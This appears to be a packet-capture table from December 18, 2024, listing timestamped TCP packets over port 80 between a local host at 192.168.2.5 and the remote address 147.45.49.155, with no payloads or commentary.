Dec 18, 2024 09:13:06.265445948 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.265486956 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.266829014 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.266922951 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.266933918 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.268260956 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.268311977 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.268384933 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.269738913 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.269756079 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.269790888 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.271181107 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.271223068 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.271272898 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.272572041 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.272614956 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.272685051 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.274017096 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.274065971 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.274106979 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.275449991 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.275497913 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.275525093 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.276855946 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.276897907 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.276932001 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.277977943 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.278028965 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.331870079 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.332032919 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.332204103 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.332439899 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.332525969 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.332573891 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.333513021 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.333656073 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.333705902 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.334626913 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.334672928 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.334729910 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.335757971 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.335871935 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.335918903 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.336838007 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.337013960 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.337145090 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.338156939 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.338315010 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.338371038 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.372565031 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.372606993 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.372761011 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.373085976 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.373302937 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.373348951 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.373349905 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.374420881 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.374466896 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.374516010 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.375513077 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.375561953 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.375622034 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.376682997 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.376744032 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.376745939 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.377787113 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.377851009 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.377886057 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.378890991 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.378941059 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.412945986 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.413090944 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.413151979 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.415076971 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.415136099 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.415152073 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.415209055 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.415304899 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.415330887 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.415347099 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.415355921 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.415384054 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.416173935 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.416256905 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.416402102 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.417083025 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.417237997 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.417313099 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.417960882 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.418080091 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.418128967 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.418908119 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.419038057 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.419172049 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.419822931 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.419949055 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.419995070 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.420736074 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.420850039 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.420902014 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.421817064 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.421928883 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.421993017 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.422662020 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.422821045 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.422933102 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.423583984 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.423687935 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.423835039 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.424443960 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.424585104 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.424678087 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.425411940 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.425513983 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.425581932 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.426290989 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.426419973 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.426469088 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.427231073 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.427364111 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.427411079 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.428158998 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.428268909 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.428323984 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.429083109 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.429204941 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.429249048 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.429992914 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.430130005 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.430212975 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.430907965 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.431031942 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.431111097 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.431842089 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.431999922 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.432048082 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.432816982 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.432935953 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.432982922 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.433727026 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.433900118 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.433950901 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.434621096 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.434739113 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.434783936 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.435571909 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.435697079 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.435746908 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.436455011 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.436579943 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.436695099 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.437397003 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.437517881 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.437568903 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.438329935 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.438443899 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.438492060 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.439234018 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.439424038 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.439466953 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.440167904 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.440212965 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.440349102 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.441082001 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.441205978 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.441255093 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.442035913 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.442162037 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.442220926 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.442946911 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.443103075 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.443156004 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.443855047 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.443972111 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.444025040 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.444782972 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.444916964 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.445008993 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.445725918 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.445843935 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.445894003 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.446650028 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.446758986 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.446806908 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.447575092 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.447706938 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.447757959 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.448503017 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.448601961 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.448657990 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.523060083 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.523180008 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.523235083 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.523431063 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.523780107 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.523853064 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.523902893 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.524590969 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.524646044 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.524703979 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.525494099 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.525599003 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.525625944 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.526426077 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.526472092 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.526511908 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.527410030 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.527466059 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.527468920 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.528254986 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.528336048 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.563821077 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.563939095 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.564012051 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.564268112 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.564316034 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.564372063 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.565231085 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.565344095 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.565404892 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.566184998 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.566346884 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.566405058 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.567074060 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.567127943 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.567193031 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.567995071 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.568048954 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.568156004 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.568922043 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.569000959 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.569056988 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.603940010 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.604002953 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.604120970 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.604418993 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.604527950 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.604578972 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.605343103 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.605437040 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.605490923 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.606259108 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.606549978 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.606595993 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.606689930 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.607472897 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.607527018 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.607583046 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.608397961 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.608452082 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.608498096 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.609327078 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.609379053 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.609412909 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.610205889 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.610265970 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.610332012 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.611144066 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.611257076 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.611257076 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.612073898 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.612148046 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.612214088 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.612987041 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.613039017 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.613128901 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.613946915 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.614001989 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.614028931 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.614847898 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.614903927 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.614950895 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.615777969 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.615833998 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.615921021 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.616709948 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.616765022 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.616847038 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.617633104 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.617681980 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.617743969 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.618547916 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.618613958 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.618648052 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.619515896 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.619580030 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.619635105 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.620415926 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.620488882 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.620492935 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.621315956 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.621426105 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.621627092 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.622227907 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.622288942 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.622337103 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.623171091 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.623228073 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.623260975 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.624106884 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.624161959 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.624239922 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.625031948 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.625091076 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.625128031 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.625931978 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.626008987 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.626050949 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.626851082 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.626903057 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.626986980 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.627975941 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.628027916 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.628123999 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.628809929 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.628859997 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.629005909 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.629698992 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.629750967 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.629968882 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.630578041 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.630625963 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.630796909 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.631526947 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.631577015 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.631649971 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.632483959 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.632529974 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.632535934 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.633337975 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.633388996 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.633404016 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.634258032 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.634313107 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.634387016 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.635166883 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.635224104 CET	49707	80	192.168.2.5	147.45.49.155
Dec 18, 2024 09:13:06.635298014 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.636106968 CET	80	49707	147.45.49.155	192.168.2.5
Dec 18, 2024 09:13:06.636151075 CET	49707	80	192.168.2.5	147.45.49.155
